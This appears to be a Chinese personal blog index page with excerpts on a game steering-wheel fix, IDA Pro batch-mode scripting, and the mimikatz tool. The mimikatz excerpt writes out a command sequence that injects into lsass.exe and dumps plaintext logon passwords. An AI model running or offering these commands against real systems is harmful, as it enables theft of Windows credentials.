极品飞车16 北通188方向盘

方向盘是过生日的时候朋友送的,拿到手的时候感觉用料还算比较扎实,但是作为手柄用的案件都比较僵硬。 :cool:这个还不是最悲剧的,最悲剧的是在极品十六中油门和刹车无效,并且自动档没有办法换档。这个就非常恶心了,简直能恶心死。 :[

今天又在测试设置的时候发现,问题的根本原因在于极品十六把方向盘的整个脚踏板的y轴识别成了一条,并且及时在没有踩下的情况下也会出现加油的情况,另外一个问题是即使用自动档也无法在倒车挡位上倒车。这个鸟东西就足够恶心死了。

网上关于这个型号的方向盘出现问题的非常多,但是官方的解决方案其实也非常一般。折腾了一晚上,现在基本有两条线路可以解决这个问题:

1,使用官方的解决方案,用360手柄模拟器进行按键映射。猛击此处下载模拟器,解压后放入极品飞车的游戏目录下。重启游戏即可。但是这个方法会直接导致方向盘的灵敏度降低,如果要转向必须将整个方向盘转到90度左右,为了克服这个问题可以通过方向盘的驱动设置来进行修正。

Continue Reading

mimikatz_trunk

可以获取系统密码明文的神器,今天在看雪看到这个东西。文章内容就不转了,原文请参考这里

获取密码的命令序列:

privilege::debug
inject::process lsass.exe sekurlsa.dll
@getLogonPasswords

猛击此处下载该神器! 作者Blog

IDA批量模式 Python Script[fix]

#########################################
#Ida batch mode test code by obaby
#2012.03.13
#Mars Security
#http://www.h4ck.org.cn
#Email:root@h4ck.ws
#########################################
import sys
import os
import subprocess
 
# Fill these feilds with ur own ida file path and the idc file u want to execute!
idcScriptFileName = "batchmode.idc"
ida32qFilePath = '"F:\Crackl@b\Hex-Rays.IDA.Pro.Advanced.v6.1\ida61\idaq.exe"'
ida64qFilePath = "F:\Crackl@b\Hex-Rays.IDA.Pro.Advanced.v6.1\ida61\idaq64.exe"
ida32wFilePath ='"F:\Crackl@b\Hex-Rays.IDA.Pro.Advanced.v6.1\ida61\idaw.exe"'
ida64wFilePath = "F:\Crackl@b\Hex-Rays.IDA.Pro.Advanced.v6.1\ida61\idaw64.exe"
#The binary file list text 
TargetList = "F:/Python 2.6/_eric4project/idabatchmode/list.txt"
 
TargetFile_object = open(TargetList, "r").readlines()
for eachline in TargetFile_object:
    #print eachline, 
    #print eachline
    eachline = eachline.replace('\n','').replace('\r', '')
    if os.path.exists(eachline):
        tmpExecStr =  ida32wFilePath +" -A -c -S"+idcScriptFileName +" " + '"'+eachline+'"' #fixup the space in the file path
        print tmpExecStr, 
        #os.system(tmpExecStr) #singl process with cmdwindow
        #os.popen(tmpExecStr)  singl process without cmdwindow
        subprocess.Popen(tmpExecStr) #mulity process with cmd window
 
print ("All Process have been started!")

修正文件路径包含空格时找不到文件的问题,这个如果自己写的话应该是可以避免的。发现一个比较奇怪的问题,在win7下subprocess.Popen竟然不显示cmd窗口,但是在xp下显示。这是为什么? :8

IDA批量模式

整体说来ida的批量模式并不能算是真正的批量模式,只是可以通过各种手段来执行多个ida进行分析。众所周知ida是不支持多线程的,并且按照官方的说明看来在将来也不准备支持多线程。那么要想进行批量处理就只能使用自己的一些办法,自己去写个程序用命令来调用ida进行处理。

对于其他平台下的ida的批量模式这里并不准备介绍,简单的说一下Windows下的批量模式。如果用过ida的话应该比较清楚ida其实是提供了两种不同的界面,基于Gui的和基于Console的。两者都支持参数调用,但是命令行下的程序可以节省更多的资源,并且有更快的运行效率,如果同时运行数个ida那么建议使用命令行下的版本。

命令参数如下:

idag -A -Smyscript.idc input_file

官方的原始的idc脚本的内容是下面的样子:

static main()

{

RunPlugin("myplugin", 0); // run myplugin with argument 0

}

在执行脚本中调用了一个自定义的插件,那么其实这里也可以全部用脚本实现想要的功能。如果没有其他的要求可以把执行脚本锁定为analysis.idc,这个脚本会在文件分析完毕之后生成idb的数据库,并且生成相关的asm代码。需要注意的是这里的S和脚本之间没有空格,并且脚本的搜索目录为ida的安装目录下的idc文件夹,所以最好把自己的脚本放入这个文件夹下。

Continue Reading